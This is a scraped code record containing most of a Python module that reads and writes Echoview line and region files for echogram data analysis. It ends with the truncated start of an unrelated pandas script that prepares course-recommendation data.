----------\n fname : str\n Path to .evl file.\n special_to_nan : bool, optional\n Whether to replace the special value, ``-10000.99``, which indicates no\n depth value, with NaN.\n https://support.echoview.com/WebHelp/Reference/File_formats/Export_file_formats/Special_Export_Values.htm\n\n Returns\n -------\n numpy.ndarray of floats\n Timestamps, in seconds.\n numpy.ndarary of floats\n Depth, in metres.\n numpy.ndarary of ints, optional\n Status codes.\n \"\"\"\n timestamps = []\n values = []\n statuses = []\n for timestamp, value, status in evl_reader(fname):\n timestamps.append(timestamp)\n values.append(value)\n statuses.append(status)\n timestamps = np.array(timestamps)\n values = np.array(values)\n statuses = np.array(statuses)\n if special_to_nan:\n # Replace the special value -10000.99 with NaN\n # https://support.echoview.com/WebHelp/Reference/File_formats/Export_file_formats/Special_Export_Values.htm\n values[np.isclose(values, -10000.99)] = np.nan\n if return_status:\n return timestamps, values, statuses\n return timestamps, values\n\n\ndef timestamp2evdtstr(timestamp):\n \"\"\"\n Convert a timestamp into an Echoview-compatible datetime string.\n\n The output is in the format \"CCYYMMDD HHmmSSssss\", where:\n\n | CC: century\n | YY: year\n | MM: month\n | DD: day\n | HH: hour\n | mm: minute\n | SS: second\n | ssss: 0.1 milliseconds\n\n Parameters\n ----------\n timestamp : float\n Number of seconds since Unix epoch.\n\n Returns\n -------\n datetimestring : str\n Datetime string in the Echoview-compatible format\n \"CCYYMMDD HHmmSSssss\".\n \"\"\"\n # Datetime must be in the format CCYYMMDD HHmmSSssss\n # where ssss = 0.1 milliseconds.\n # We have to manually determine the number of \"0.1 milliseconds\"\n # from the microsecond component.\n dt = datetime.datetime.fromtimestamp(timestamp)\n return \"{}{:04d}\".format(dt.strftime(\"%Y%m%d %H%M%S\"), round(dt.microsecond / 100))\n\n\ndef evdtstr2timestamp(datestr, timestr=None):\n \"\"\"\n Convert an Echoview-compatible datetime string into a Unix epoch timestamp.\n\n Parameters\n ----------\n datestr : str\n Datetime string in the Echoview-compatible format\n ``\"CCYYMMDD HHmmSSssss\"``, or (if timestr is also provided) just\n the date part, ``\"CCYYMMDD\"``.\n timestr : str, optional\n Time string in the Echoview-compatible format \"HHmmSSssss\".\n\n Returns\n -------\n timestamp : float\n Number of seconds since Unix epoch.\n \"\"\"\n if timestr:\n datestr = datestr + \" \" + timestr\n return datetime.datetime.strptime(datestr, \"%Y%m%d %H%M%S%f\").timestamp()\n\n\ndef evr_reader(fname, parse_echofilter_regions=True):\n \"\"\"\n Echoview region file (EVR) reader.\n\n Parameters\n ----------\n fname : str\n Path to .evr file.\n parse_echofilter_regions : bool, default=True\n Whether to separate out echofilter generated regions\n (passive, removed vbands, and removed patches)\n from other regions.\n\n Returns\n -------\n regions_passive : list of tuples, optional\n Start and end timestamps for passive regions.\n regions_removed : list of tuples, optional\n Start and end timestamps for removed vertical bands.\n regions_patch : list of lists, optional\n Start and end timestamps for bad data patches.\n regions_other : list of dicts\n Dictionary mapping creation type to points defining each region.\n \"\"\"\n regions_passive = []\n regions_removed = []\n regions_patch = []\n regions_other = []\n\n # Line 1: EVRG file version header\n with open(fname, \"r\") as hf:\n line = hf.readline()\n if \"EVRG\" not in line:\n raise EnvironmentError(\"This is not an EVR/EVRG file\")\n\n # Line 2: Number of regions\n line = hf.readline().strip(\"\\n\\r\")\n n_regions = int(line)\n\n for _ in range(n_regions):\n # Line 3: Intentionally left blank\n line = hf.readline().strip(\"\\n\\r\")\n if len(line):\n print(\n \"Badly formatted EVRG file. Separating line is not blank: {}\".format(\n line\n )\n )\n\n # Individual region\n region_is_passive = False\n region_is_removed = False\n region_is_patch = False\n\n # Region header\n line = hf.readline().strip(\"\\n\\r\")\n line = line.replace(\" \", \" \")\n lparts = line.split(\" \")\n if lparts[0] != \"13\":\n raise EnvironmentError(\n \"Only Region structure version 13 is supported ({} given).\".format(\n lparts[0]\n )\n )\n n_points = int(lparts[1])\n _region_id = int(lparts[2]) # noqa: F841\n # Selected indicator: lparts[3] == 0\n region_ctype = int(lparts[4])\n # Dummy: lparts[5] == -1\n _has_bbox = bool(int(lparts[6])) # noqa: F841\n _left = evdtstr2timestamp(lparts[7], lparts[8]) # noqa: F841\n _top = float(lparts[9]) # noqa: F841\n _right = evdtstr2timestamp(lparts[10], lparts[11]) # noqa: F841\n _bottom = float(lparts[12]) # noqa: F841\n\n # Notes\n line = hf.readline().strip(\"\\n\\r\")\n n_notes = int(line)\n notes = \"\\n\".join(hf.readline() for _ in range(n_notes))\n if notes.startswith(\"Passive data\"):\n region_is_passive = True\n if notes.startswith(\"Removed data block\"):\n region_is_removed = True\n if notes.startswith(\"Removed patch\"):\n region_is_patch = True\n\n # Detection settings\n line = hf.readline().strip(\"\\n\\r\")\n n_detset = int(line)\n for _ in range(n_detset):\n hf.readline()\n\n # Region classification\n _region_classification = hf.readline().strip(\"\\n\\r\") # noqa: F841\n # Points\n points = hf.readline().strip().replace(\" \", \" \").split(\" \")\n _region_status = int(points.pop()) # noqa: F841\n if len(points) % 3 != 0:\n print(\"Points not composed correctly\")\n if len(points) // 3 != n_points:\n print(\n \"Different number of points to expected: {} vs {}\".format(\n len(points), n_points\n )\n )\n points = [\n (\n evdtstr2timestamp(points[i * 3], points[i * 3 + 1]),\n float(points[i * 3 + 2]),\n )\n for i in range(n_points)\n ]\n _region_name = hf.readline().strip(\"\\n\\r\") # noqa: F841\n\n # Add region to list\n if not parse_echofilter_regions:\n regions_other.append({region_ctype: points})\n continue\n\n if region_is_passive:\n if region_ctype != 4:\n print(\n \"Warning: Region creation type is {} not 4\".format(region_ctype)\n )\n regions_passive.append((points[0][0], points[-1][0]))\n elif region_is_removed:\n if region_ctype != 4:\n print(\n \"Warning: Region creation type is {} not 4\".format(region_ctype)\n )\n regions_removed.append((points[0][0], points[-1][0]))\n elif region_is_patch:\n if region_ctype != 2:\n print(\n \"Warning: Region creation type is {} not 2\".format(region_ctype)\n )\n regions_patch.append(points)\n else:\n regions_other.append({region_ctype: points})\n\n if not parse_echofilter_regions:\n return regions_other\n\n return regions_passive, regions_removed, regions_patch, regions_other\n\n\ndef regions2mask(\n timestamps,\n depths,\n regions_passive=None,\n regions_removed=None,\n regions_patch=None,\n regions_other=None,\n):\n \"\"\"\n Convert regions to mask.\n\n Takes the output from :func:evr_reader` and returns a set of masks.\n\n Parameters\n ----------\n timestamps : array_like\n Timestamps for each node in the line.\n depths : array_like\n Depths (in meters) for each node in the line.\n regions_passive : list of tuples, optional\n Start and end timestamps for passive regions.\n regions_removed : list of tuples, optional\n Start and end timestamps for removed vertical bands.\n regions_patch : list of lists, optional\n Start and end timestamps for bad data patches.\n regions_other : list of dicts\n Dictionary mapping creation type to points defining each region.\n\n Returns\n -------\n transect : dict\n A dictionary with keys:\n\n - \"is_passive\" : numpy.ndarray\n Logical array showing whether a timepoint is of passive data.\n Shaped ``(num_timestamps, )``. All passive recording data should\n be excluded by the mask.\n - \"is_removed\" : numpy.ndarray\n Logical array showing whether a timepoint is entirely removed\n by the mask. Shaped ``(num_timestamps, )``.\n - \"mask_patches\" : numpy.ndarray\n Logical array indicating which datapoints are inside a patch\n from regions_patch (``True``) and should be excluded by the\n mask.\n Shaped ``(num_timestamps, num_depths)``.\n - \"mask\" : numpy.ndarray\n Logical array indicating which datapoints should be kept\n (``True``) and which are marked as removed\n (``False``) by one of the other three outputs.\n Shaped ``(num_timestamps, num_depths)``.\n \"\"\"\n if regions_other is not None:\n raise NotImplementedError(\"Other regions are not yet supported.\")\n\n is_passive = np.zeros(timestamps.shape, dtype=bool)\n is_removed = np.zeros(timestamps.shape, dtype=bool)\n\n for ts_start, ts_end in regions_passive:\n is_passive[(ts_start <= timestamps) & (timestamps <= ts_end)] = 1\n\n for ts_start, ts_end in regions_removed:\n is_removed[(ts_start <= timestamps) & (timestamps <= ts_end)] = 1\n\n # Create an empty image to store the masked array\n mask_patches = np.zeros((len(timestamps), len(depths)), dtype=bool)\n\n dt = np.abs(timestamps[-1] - timestamps[-2])\n dd = np.abs(depths[-1] - depths[-2])\n\n for patch in regions_patch:\n patch = np.asarray(patch)\n # Find closest indices to the contour coordinates given\n x = np.searchsorted(timestamps + dt / 2, patch[:, 0], side=\"left\")\n y = np.searchsorted(depths + dd / 2, patch[:, 1], side=\"left\")\n\n # Make a mask for this patch\n mask_i = np.zeros_like(mask_patches, dtype=\"bool\")\n\n # Create a contour image by using the contour coordinates rounded to their nearest integer value\n mask_i[x, y] = 1\n\n # Fill in the hole created by the contour boundary\n mask_i = scipy.ndimage.binary_fill_holes(mask_i)\n\n # Add this patch to the overall mask for all patches\n mask_patches |= mask_i\n\n # mask_patches shows where bad patches are; mask shows where good data is\n mask = ~mask_patches\n mask[is_passive | is_removed] = 0\n\n transect = {\n \"is_passive\": is_passive,\n \"is_removed\": is_removed,\n \"mask\": mask,\n \"mask_patches\": mask_patches,\n }\n return transect\n\n\ndef evl_writer(fname, timestamps, depths, status=1, line_ending=\"\\r\\n\", pad=False):\n r\"\"\"\n EVL file writer.\n\n Parameters\n ----------\n fname : str\n Destination of output file.\n timestamps : array_like\n Timestamps for each node in the line.\n depths : array_like\n Depths (in meters) for each node in the line.\n status : 0, 1, 2, or 3; optional\n Status for the line.\n\n - ``0`` : none\n - ``1`` : unverified\n - ``2`` : bad\n - ``3`` : good\n\n Default is ``1`` (unverified). For more details on line status, see\n https://support.echoview.com/WebHelp/Using_Echoview/Echogram/Lines/About_Line_Status.htm\n pad : bool, optional\n Whether to pad the line with an extra datapoint half a pixel before the\n first and after the last given timestamp. Default is ``False``.\n line_ending : str, optional\n Line ending. Default is ``\"\\r\\n\"`` the standard line ending on Windows/DOS,\n as per the specification for the file format.\n https://support.echoview.com/WebHelp/Using_Echoview/Exporting/Exporting_data/Exporting_line_data.htm\n Set to ``\"\\n\"`` to get Unix-style line endings instead.\n\n Notes\n -----\n For more details on the format specification, see\n https://support.echoview.com/WebHelp/Using_Echoview/Exporting/Exporting_data/Exporting_line_data.htm#Line_definition_file_format\n \"\"\"\n if len(timestamps) != len(depths):\n raise ValueError(\n \"Number of timestamps ({}) and depths ({}) are not equal\".format(\n len(timestamps), len(depths)\n )\n )\n if pad and len(timestamps) > 1:\n timestamps = timestamps[:]\n timestamps = np.r_[\n timestamps[0] - (timestamps[1] - timestamps[0]) / 2,\n timestamps,\n timestamps[-1] + (timestamps[-1] - timestamps[-2]) / 2,\n ]\n depths = np.r_[depths[0], depths, depths[-1]]\n # The file object will automatically replace \\n with our chosen line ending\n with open(fname, \"w+\", encoding=\"utf-8-sig\", newline=line_ending) as hf:\n # Write header\n hf.write(\"EVBD 3 10.0.270.37090\\n\")\n n_row = len(depths)\n hf.write(str(n_row) + \"\\n\")\n # Write each row\n for timestamp, depth in zip(timestamps, depths):\n # Datetime must be in the format CCYYMMDD HHmmSSssss\n # where ssss = 0.1 milliseconds.\n # We have to manually determine the number of \"0.1 milliseconds\"\n # from the microsecond component.\n hf.write(\"{} {} {} \\n\".format(timestamp2evdtstr(timestamp), depth, status))\n\n\ndef evr_writer(\n fname,\n rectangles=None,\n contours=None,\n common_notes=\"\",\n default_region_type=0,\n line_ending=\"\\r\\n\",\n):\n r\"\"\"\n EVR file writer.\n\n Writes regions to an Echoview region file.\n\n Parameters\n ----------\n fname : str\n Destination of output file.\n rectangles : list of dictionaries, optional\n Rectangle region definitions. Default is an empty list. Each rectangle\n region must implement fields ``\"depths\"`` and ``\"timestamps\"``, which\n indicate the extent of the rectangle. Optionally, ``\"creation_type\"``,\n ``\"region_name\"``, ``\"region_type\"``, and ``\"notes\"`` may be set.\n If these are not given, the default creation_type is 4 and region_type\n is set by ``default_region_type``.\n contours : list of dictionaries\n Contour region definitions. Default is an empty list. Each contour\n region must implement a ``\"points\"`` field containing a :class:`numpy.ndarray`\n shaped `(n, 2)` defining the co-ordinates of nodes along the (open)\n contour in units of timestamp and depth. Optionally, ``\"creation_type\"``,\n ``\"region_name\"``, ``\"region_type\"``, and ``\"notes\"`` may be set.\n If these are not given, the default creation_type is 2 and region_type\n is set by ``default_region_type``.\n common_notes : str, optional\n Notes to include for every region. Default is ``\"\"``, an empty string.\n default_region_type : int, optional\n The region type to use for rectangles and contours which do not define\n a ``\"region_type\"`` field. Possible region types are\n\n - ``0`` : bad (no data)\n - ``1`` : analysis\n - ``2`` : marker\n - ``3`` : fishtracks\n - ``4`` : bad (empty water)\n\n Default is ``0``.\n line_ending : str, optional\n Line ending. Default is ``\"\\r\\n\"`` the standard line ending on Windows/DOS,\n as per the specification for the file format.\n https://support.echoview.com/WebHelp/Using_Echoview/Exporting/Exporting_data/Exporting_line_data.htm\n Set to ``\"\\n\"`` to get Unix-style line endings instead.\n\n Notes\n -----\n For more details on the format specification, see:\n https://support.echoview.com/WebHelp/Reference/File_formats/Export_file_formats/2D_Region_definition_file_format.htm\n \"\"\"\n if rectangles is None:\n rectangles = []\n if contours is None:\n contours = []\n # Remove leading/trailing new lines, since we will join with our own line ending\n common_notes = common_notes.strip(\"\\r\\n\")\n # Standardize line endings to be \\n, regardless of input\n common_notes = common_notes.replace(\"\\r\\n\", \"\\n\").replace(\"\\r\", \"\\n\")\n if len(common_notes) == 0:\n n_lines_common_notes = 0\n else:\n n_lines_common_notes = 1 + common_notes.count(line_ending)\n n_regions = len(rectangles) + len(contours)\n i_region = 0\n # The file object will automatically replace \\n with our chosen line ending\n with open(fname, \"w+\", encoding=\"utf-8-sig\", newline=line_ending) as hf:\n # Write header\n hf.write(\"EVRG 7 10.0.283.37689\\n\")\n hf.write(str(n_regions) + \"\\n\")\n\n # Write each rectangle\n for region in rectangles:\n # Regions are indexed from 1, so increment the counter first\n i_region += 1\n hf.write(\"\\n\") # Blank line separates regions\n # Determine extent of rectangle\n left = timestamp2evdtstr(np.min(region[\"timestamps\"]))\n right = timestamp2evdtstr(np.max(region[\"timestamps\"]))\n top = np.min(region[\"depths\"])\n bottom = np.max(region[\"depths\"])\n # Region header\n hf.write(\n \"13 4 {i} 0 {type} -1 1 {left} {top} {right} {bottom}\".format(\n i=i_region,\n type=region.get(\"creation_type\", 4),\n left=left,\n right=right,\n top=top,\n bottom=bottom,\n )\n + \"\\n\"\n )\n # Notes\n notes = region.get(\"notes\", \"\")\n if len(notes) == 0:\n notes = common_notes\n n_lines_notes = n_lines_common_notes\n else:\n notes = notes.strip(\"\\n\")\n if len(common_notes) > 0:\n notes += \"\\n\" + common_notes\n n_lines_notes = 1 + notes.count(\"\\n\")\n hf.write(str(n_lines_notes) + \"\\n\") # Number of lines of notes\n if len(notes) > 0:\n hf.write(notes + \"\\n\")\n # Detection settings\n hf.write(\"0\\n\") # Number of lines of detection settings\n # Region classification string\n hf.write(\"Unclassified regions\\n\")\n # The points defining the region itself\n hf.write(\n \"{left} {top} {left} {bottom} {right} {bottom} {right} {top} \".format(\n left=left,\n right=right,\n top=top,\n bottom=bottom,\n ) # Terminates with a space, not a new line\n )\n # Region type\n hf.write(str(region.get(\"region_type\", default_region_type)) + \"\\n\")\n # Region name\n hf.write(\n str(region.get(\"region_name\", \"Region {}\".format(i_region))) + \"\\n\"\n )\n\n # Write each contour\n for region in contours:\n # Regions are indexed from 1, so increment the counter first\n i_region += 1\n hf.write(\"\\n\") # Blank line separates regions\n # Header line\n hf.write(\n \"13 {n} {i} 0 {type} -1 1 {left} {top} {right} {bottom}\".format(\n n=region[\"points\"].shape[0],\n i=i_region,\n type=region.get(\"creation_type\", 2),\n left=timestamp2evdtstr(np.min(region[\"points\"][:, 0])),\n right=timestamp2evdtstr(np.max(region[\"points\"][:, 0])),\n top=np.min(region[\"points\"][:, 1]),\n bottom=np.max(region[\"points\"][:, 1]),\n )\n + \"\\n\"\n )\n # Notes\n notes = region.get(\"notes\", \"\")\n if len(notes) == 0:\n notes = common_notes\n n_lines_notes = n_lines_common_notes\n else:\n notes = notes.strip(\"\\n\")\n if len(common_notes) > 0:\n notes += \"\\n\" + common_notes\n n_lines_notes = 1 + notes.count(\"\\n\")\n hf.write(str(n_lines_notes) + \"\\n\") # Number of lines of notes\n if len(notes) > 0:\n hf.write(notes + \"\\n\")\n # Detection settings\n hf.write(\"0\\n\") # Number of lines of detection settings\n # Region classification string\n hf.write(\"Unclassified regions\\n\")\n # The region itself\n for point in region[\"points\"]:\n hf.write(\"{} {} \".format(timestamp2evdtstr(point[0]), point[1]))\n # Region type\n hf.write(str(region.get(\"region_type\", default_region_type)) + \"\\n\")\n # Region name\n hf.write(\n str(region.get(\"region_name\", \"Region {}\".format(i_region))) + \"\\n\"\n )\n\n\ndef write_transect_regions(\n fname,\n transect,\n depth_range=None,\n passive_key=\"is_passive\",\n removed_key=\"is_removed\",\n patches_key=\"mask_patches\",\n collate_passive_length=0,\n collate_removed_length=0,\n minimum_passive_length=0,\n minimum_removed_length=0,\n minimum_patch_area=0,\n name_suffix=\"\",\n common_notes=\"\",\n line_ending=\"\\r\\n\",\n verbose=0,\n verbose_indent=0,\n):\n r\"\"\"\n Convert a transect dictionary to a set of regions and write as an EVR file.\n\n Parameters\n ----------\n fname : str\n Destination of output file.\n transect : dict\n Transect dictionary.\n depth_range : array_like or None, optional\n The minimum and maximum depth extents (in any order) of the passive and\n removed block regions. If this is ``None`` (default), the minimum and\n maximum of ``transect[\"depths\"]`` is used.\n passive_key : str, optional\n Field name to use for passive data identification. Default is\n ``\"is_passive\"``.\n removed_key : str, optional\n Field name to use for removed blocks. Default is ``\"is_removed\"``.\n patches_key : str, optional\n Field name to use for the mask of patch regions. Default is\n ``\"mask_patches\"``.\n collate_passive_length : int, optional\n Maximum distance (in indices) over which passive regions should be\n merged together, closing small gaps between them. Default is ``0``.\n collate_removed_length : int, optional\n Maximum distance (in indices) over which removed blocks should be\n merged together, closing small gaps between them. Default is ``0``.\n minimum_passive_length : int, optional\n Minimum length (in indices) a passive region must have to be included\n in the output. Set to -1 to omit all passive regions from the output.\n Default is ``0``.\n minimum_removed_length : int, optional\n Minimum length (in indices) a removed block must have to be included in\n the output. Set to -1 to omit all removed regions from the output.\n Default is ``0``.\n minimum_patch_area : float, optional\n Minimum amount of area (in input pixel space) that a patch must occupy\n in order to be included in the output. Set to ``0`` to include all\n patches, no matter their area. Set to ``-1`` to omit all patches.\n Default is ``0``.\n name_suffix : str, optional\n Suffix to append to variable names. Default is ``\"\"``, an empty string.\n common_notes : str, optional\n Notes to include for every region. Default is ``\"\"``, an empty string.\n line_ending : str, optional\n Line ending. Default is ``\"\\r\\n\"`` the standard line ending on Windows/DOS,\n as per the specification for the file format,\n https://support.echoview.com/WebHelp/Using_Echoview/Exporting/Exporting_data/Exporting_line_data.htm\n Set to ``\"\\n\"`` to get Unix-style line endings instead.\n verbose : int, optional\n Verbosity level. Default is ``0``.\n verbose_indent : int, optional\n Level of indentation (number of preceding spaces) before verbosity\n messages. Default is ``0``.\n \"\"\"\n if depth_range is None:\n depth_range = transect[\"depths\"]\n depth_range = [np.min(depth_range), np.max(depth_range)]\n\n rectangles = []\n # Regions around each period of passive data\n key = passive_key\n if key not in transect:\n key = \"p_\" + key\n if key not in transect:\n raise ValueError(\"Key {} and {} not found in transect.\".format(key[2:], key))\n is_passive = transect[key] > 0.5\n is_passive = ~utils.squash_gaps(~is_passive, collate_passive_length)\n passive_starts, passive_ends = utils.get_indicator_onoffsets(is_passive)\n i_passive = 1\n n_passive_skipped = 0\n for start_index, end_index in zip(passive_starts, passive_ends):\n start_index -= 0.5\n end_index += 0.5\n if minimum_passive_length == -1:\n # No passive regions\n break\n if end_index - start_index <= minimum_passive_length:\n n_passive_skipped += 1\n continue\n region = {}\n region[\"region_name\"] = \"Passive{} {}\".format(name_suffix, i_passive)\n region[\"creation_type\"] = 4\n region[\"region_type\"] = 0\n region[\"depths\"] = depth_range\n region[\"timestamps\"] = scipy.interpolate.interp1d(\n np.arange(len(transect[\"timestamps\"])),\n transect[\"timestamps\"],\n fill_value=\"extrapolate\",\n )([start_index, end_index])\n region[\"notes\"] = textwrap.dedent(\n \"\"\"\n Passive data\n Length in pixels: {}\n Duration in seconds: {}\n \"\"\".format(\n end_index - start_index,\n region[\"timestamps\"][1] - region[\"timestamps\"][0],\n )\n )\n rectangles.append(region)\n i_passive += 1\n # Regions around each period of removed data\n key = removed_key\n if key not in transect:\n key = \"p_\" + key\n if key not in transect:\n raise ValueError(\"Key {} and {} not found in transect.\".format(key[2:], key))\n is_removed = transect[key] > 0.5\n is_removed = ~utils.squash_gaps(~is_removed, collate_removed_length)\n removed_starts, removed_ends = utils.get_indicator_onoffsets(is_removed)\n i_removed = 1\n n_removed_skipped = 0\n for start_index, end_index in zip(removed_starts, removed_ends):\n start_index -= 0.5\n end_index += 0.5\n if minimum_removed_length == -1:\n # No passive regions\n break\n if end_index - start_index <= minimum_removed_length:\n n_removed_skipped += 1\n continue\n region = {}\n region[\"region_name\"] = \"Removed block{} {}\".format(name_suffix, i_removed)\n region[\"creation_type\"] = 4\n region[\"region_type\"] = 0\n region[\"depths\"] = depth_range\n region[\"timestamps\"] = scipy.interpolate.interp1d(\n np.arange(len(transect[\"timestamps\"])),\n transect[\"timestamps\"],\n fill_value=\"extrapolate\",\n )([start_index, end_index])\n region[\"notes\"] = textwrap.dedent(\n \"\"\"\n Removed data block\n Length in pixels: {}\n Duration in seconds: {}\n \"\"\".format(\n end_index - start_index,\n region[\"timestamps\"][1] - region[\"timestamps\"][0],\n )\n )\n rectangles.append(region)\n i_removed += 1\n # Contours around each removed patch\n if patches_key not in transect:\n raise ValueError(\"Key {} not found in transect.\".format(patches_key))\n patches = transect[patches_key]\n patches = scipy.ndimage.binary_fill_holes(patches > 0.5)\n contours_coords = skimage.measure.find_contours(patches, 0.5)\n contour_dicts = []\n i_contour = 1\n n_contour_skipped = 0\n for contour in contours_coords:\n if minimum_patch_area == -1:\n # No patches\n break\n area = utils.integrate_area_of_contour(\n contour[:, 0], contour[:, 1], closed=False\n )\n if area < minimum_patch_area:\n n_contour_skipped += 1\n continue\n region = {}\n region[\"region_name\"] = \"Removed patch{} {}\".format(name_suffix, i_contour)\n region[\"creation_type\"] = 2\n region[\"region_type\"] = 0\n x = scipy.interpolate.interp1d(\n np.arange(len(transect[\"timestamps\"])),\n transect[\"timestamps\"],\n fill_value=\"extrapolate\",\n )(contour[:, 0])\n y = scipy.interpolate.interp1d(\n np.arange(len(transect[\"depths\"])),\n transect[\"depths\"],\n fill_value=\"extrapolate\",\n )(contour[:, 1])\n region[\"points\"] = np.stack([x, y], axis=-1)\n region[\"notes\"] = textwrap.dedent(\n \"\"\"\n Removed patch\n Area in pixels: {}\n Area in meter-seconds: {}\n \"\"\".format(\n area, utils.integrate_area_of_contour(x, y, closed=False)\n )\n )\n contour_dicts.append(region)\n i_contour += 1\n if verbose >= 1:\n print(\n \" \" * verbose_indent + \"Outputting {} region{}:\"\n \" {} passive, {} removed blocks, {} removed patches\".format(\n len(rectangles) + len(contour_dicts),\n \"\" if len(rectangles) + len(contour_dicts) == 1 else \"s\",\n i_passive - 1,\n i_removed - 1,\n i_contour - 1,\n )\n )\n n_skipped = n_passive_skipped + n_removed_skipped + n_contour_skipped\n if n_skipped > 0:\n print(\n \" \" * verbose_indent\n + style.skip_fmt(\n \"There {} {} skipped (too small) region{}:\"\n \" {} passive, {} removed blocks, {} removed patches\".format(\n \"was\" if n_skipped == 1 else \"were\",\n n_skipped,\n \"\" if n_skipped == 1 else \"s\",\n n_passive_skipped,\n n_removed_skipped,\n n_contour_skipped,\n )\n )\n )\n\n # Write the output\n return evr_writer(\n fname,\n rectangles=rectangles,\n contours=contour_dicts,\n common_notes=common_notes,\n line_ending=line_ending,\n )\n\n\ndef load_transect_data(transect_pth, dataset=\"mobile\", root_data_dir=ROOT_DATA_DIR):\n \"\"\"\n Load all data for one transect.\n\n Parameters\n ----------\n transect_pth : str\n Relative path to transect, excluding ``\"_Sv_raw.csv\"``.\n dataset : str, optional\n Name of dataset. Default is ``\"mobile\"``.\n root_data_dir : str\n Path to root directory where data is located.\n\n Returns\n -------\n timestamps : numpy.ndarray\n Timestamps (in seconds since Unix epoch), with each entry\n corresponding to each row in the ``signals`` data.\n depths : numpy.ndarray\n Depths from the surface (in metres), with each entry corresponding\n to each column in the ``signals`` data.\n signals : numpy.ndarray\n Echogram Sv data, shaped (num_timestamps, num_depths).\n turbulence : numpy.ndarray\n Depth of turbulence line, shaped (num_timestamps, ).\n bottom : numpy.ndarray\n Depth of bottom line, shaped (num_timestamps, ).\n \"\"\"\n dirname = os.path.join(root_data_dir, dataset)\n raw_fname = os.path.join(dirname, transect_pth + \"_Sv_raw.csv\")\n bottom_fname = os.path.join(dirname, transect_pth + \"_bottom.evl\")\n turbulence_fname = os.path.join(dirname, transect_pth + \"_turbulence.evl\")\n\n timestamps, depths, signals = transect_loader(raw_fname)\n t_bottom, d_bottom = evl_loader(bottom_fname)\n t_turbulence, d_turbulence = evl_loader(turbulence_fname)\n\n return (\n timestamps,\n depths,\n signals,\n np.interp(timestamps, t_turbulence, d_turbulence),\n np.interp(timestamps, t_bottom, d_bottom),\n )\n\n\ndef get_partition_data(\n partition,\n dataset=\"mobile\",\n partitioning_version=\"firstpass\",\n root_data_dir=ROOT_DATA_DIR,\n):\n \"\"\"\n Load partition metadata.\n\n Parameters\n ----------\n transect_pth : str\n Relative path to transect, excluding ``\"_Sv_raw.csv\"``.\n dataset : str, optional\n Name of dataset. Default is ``\"mobile\"``.\n partitioning_version : str, optional\n Name of partitioning method.\n root_data_dir : str\n Path to root directory where data is located.\n\n Returns\n -------\n pandas.DataFrame\n Metadata for all transects in the partition. Each row is a single\n sample.\n \"\"\"\n dirname = os.path.join(root_data_dir, dataset, \"sets\", partitioning_version)\n fname_partition = os.path.join(dirname, partition + \".txt\")\n fname_header = os.path.join(dirname, \"header.txt\")\n\n with open(fname_header, \"r\") as hf:\n for row in csv.reader(hf):\n header = [entry.strip() for entry in row]\n break\n\n df = pd.read_csv(fname_partition, header=None, names=header)\n return df\n\n\ndef remove_trailing_slash(s):\n \"\"\"\n Remove trailing forward slashes from a string.\n\n Parameters\n ----------\n s : str\n String representing a path, possibly with trailing slashes.\n\n Returns\n -------\n str\n Same as ``s``, but without trailing forward slashes.\n \"\"\"\n while s[-1] == \"/\" or s[-1] == os.path.sep:\n s = s[:-1]\n return s\n\n\ndef list_from_file(fname):\n \"\"\"\n Get a list from a file.\n\n Parameters\n ----------\n fname : str\n Path to file.\n\n Returns\n -------\n list\n Contents of the file, one line per entry in the list. Trailing\n whitespace is removed from each end of each line.\n \"\"\"\n with open(fname, \"r\") as hf:\n contents = hf.readlines()\n contents = [x.strip() for x in contents]\n return contents\n\n\ndef get_partition_list(\n partition,\n dataset=\"mobile\",\n full_path=False,\n partitioning_version=\"firstpass\",\n root_data_dir=ROOT_DATA_DIR,\n sharded=False,\n):\n \"\"\"\n Get a list of transects in a single partition.\n\n Parameters\n ----------\n transect_pth : str\n Relative path to transect, excluding ``\"_Sv_raw.csv\"``.\n dataset : str, optional\n Name of dataset. Default is ``\"mobile\"``.\n full_path : bool, optional\n Whether to return the full path to the sample. If ``False``, only the\n relative path (from the dataset directory) is returned.\n Default is ``False``.\n partitioning_version : str, optional\n Name of partitioning method.\n root_data_dir : str, optional\n Path to root directory where data is located.\n sharded : bool, optional\n Whether to return path to sharded version of data. Default is ``False``.\n\n Returns\n -------\n list\n Path for each sample in the partition.\n \"\"\"\n if dataset == \"mobile\":\n df = get_partition_data(\n partition,\n dataset=dataset,\n partitioning_version=partitioning_version,\n root_data_dir=root_data_dir,\n )\n fnames = df[\"Filename\"]\n fnames = [os.path.join(f.split(\"_\")[0], f.strip()) for f in fnames]\n else:\n partition_file = os.path.join(\n root_data_dir,\n dataset,\n \"sets\",\n partitioning_version,\n partition + \".txt\",\n )\n fnames = list_from_file(partition_file)\n\n fnames = [f.replace(\"_Sv_raw.csv\", \"\") for f in fnames]\n if full_path and sharded:\n root_data_dir = remove_trailing_slash(root_data_dir)\n fnames = [os.path.join(root_data_dir + \"_sharded\", dataset, f) for f in fnames]\n elif full_path:\n fnames = [os.path.join(root_data_dir, dataset, f) for f in fnames]\n return fnames\n","repo_name":"DeepSenseCA/echofilter","sub_path":"echofilter/raw/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":48127,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"33557006901","text":"import pandas as pd\nfrom argparse import ArgumentParser, Namespace\nfrom pathlib import Path\nimport random\n\ndef parse_args() -> Namespace:\n parser = ArgumentParser()\n parser.add_argument(\n \"--data_dir\",\n type=Path,\n help=\"Directory to the dataset.\",\n default=\"./data_id\",\n )\n parser.add_argument(\n \"--do_shuffle\",\n type=bool,\n default=False,\n )\n args = parser.parse_args()\n return args\n\ndef main(args):\n random.seed(42)\n df_course_id = pd.read_csv(\"./test/data_id/course_id.csv\")\n df_train = pd.read_csv(args.data_dir / \"train.csv\")\n df_valid = pd.read_csv(args.data_dir / \"val_seen.csv\")\n df_test = pd.read_csv(args.data_dir / \"test_seen.csv\")\n df_out = pd.DataFrame(columns=[\"user_id\", \"course_ids\", \"predict\"])\n df_train_id = pd.DataFrame(columns=[\"user_id\", \"course_ids\"])\n df_val_id = pd.DataFrame(columns=[\"user_id\", \"course_ids\"])\n df_val_split = pd.DataFrame(columns=[\"user_id\", \"course_ids\", \"predict\"])\n df_train_split = pd.DataFrame(columns=[\"user_id\", \"course_ids\", \"predict\"])\n \n course2id = df_course_id.set_index(\"course_name\").to_dict()[\"course_id\"]\n user2course = df_train.set_index(\"user_id\").to_dict()[\"course_id\"]\n user2course2 = df_valid.set_index(\"user_id\").to_dict()[\"course_id\"]\n\n df_out[\"user_id\"] = df_test[\"user_id\"]\n df_train_id[\"user_id\"] = df_train[\"user_id\"]\n 